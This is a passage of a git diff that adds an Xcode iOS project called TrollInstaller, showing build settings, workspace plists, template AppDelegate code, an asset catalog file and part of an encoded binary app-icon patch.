YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + ENABLE_NS_ASSERTIONS = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + GCC_C_LANGUAGE_STANDARD = gnu11; + GCC_NO_COMMON_BLOCKS = YES; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 15.5; + MTL_ENABLE_DEBUG_INFO = NO; + MTL_FAST_MATH = YES; + SDKROOT = iphoneos; + VALIDATE_PRODUCT = YES; + }; + name = Release; + }; + 8CE2BD3A28AD5D730058FBAD /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + DEVELOPMENT_TEAM = 3Z56NQJ65R; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = TrollInstaller/Info.plist; + INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; + INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; + INFOPLIST_KEY_UIMainStoryboardFile = Main; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + IPHONEOS_DEPLOYMENT_TARGET = 14.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + MARKETING_VERSION = 1.0; + OTHER_LDFLAGS = ( + "-framework", + IOKit, + "-larchive", + ); + PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Debug; + }; + 8CE2BD3B28AD5D730058FBAD /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + DEVELOPMENT_TEAM = 3Z56NQJ65R; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = TrollInstaller/Info.plist; + INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; + INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; + INFOPLIST_KEY_UIMainStoryboardFile = Main; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + IPHONEOS_DEPLOYMENT_TARGET = 14.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + MARKETING_VERSION = 1.0; + OTHER_LDFLAGS = ( + "-framework", + IOKit, + "-larchive", + ); + PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8CE2BD3728AD5D730058FBAD /* Debug */, + 8CE2BD3828AD5D730058FBAD /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8CE2BD3A28AD5D730058FBAD /* Debug */, + 8CE2BD3B28AD5D730058FBAD /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 8CE2BD1828AD5D710058FBAD /* Project object */; +} diff --git a/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..919434a --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,7 @@ + + + + + diff --git a/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist new file mode 100644 index 0000000..18d9810 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist @@ -0,0 +1,8 @@ + + + + + IDEDidComputeMac32BitWarning + + + diff --git a/Installer/TrollInstaller/TrollInstaller/AppDelegate.h b/Installer/TrollInstaller/TrollInstaller/AppDelegate.h new file mode 100644 index 0000000..89cd6ef --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/AppDelegate.h @@ -0,0 +1,14 @@ +// +// AppDelegate.h +// TrollInstaller +// +// Created by Lars Fröder on 17.08.22. +// + +#import + +@interface AppDelegate : UIResponder + + +@end + diff --git a/Installer/TrollInstaller/TrollInstaller/AppDelegate.m b/Installer/TrollInstaller/TrollInstaller/AppDelegate.m new file mode 100644 index 0000000..955f590 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/AppDelegate.m @@ -0,0 +1,40 @@ +// +// AppDelegate.m +// TrollInstaller +// +// Created by Lars Fröder on 17.08.22. +// + +#import "AppDelegate.h" + +@interface AppDelegate () + +@end + +@implementation AppDelegate + + +- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { + // Override point for customization after application launch. + return YES; +} + + +#pragma mark - UISceneSession lifecycle + + +- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options { + // Called when a new scene session is being created. + // Use this method to select a configuration to create the new scene with. + return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role]; +} + + +- (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet *)sceneSessions { + // Called when the user discards a scene session. + // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions. + // Use this method to release any resources that were specific to the discarded scenes, as they will not return. +} + + +@end diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AccentColor.colorset/Contents.json b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AccentColor.colorset/Contents.json new file mode 100644 index 0000000..eb87897 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AccentColor.colorset/Contents.json @@ -0,0 +1,11 @@ +{ + "colors" : [ + { + "idiom" : "universal" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/1024.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/1024.png new file mode 100644 index 0000000000000000000000000000000000000000..ecd8eaba69cd496a8b05710bd48782460b95536c GIT binary patch literal 251249 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 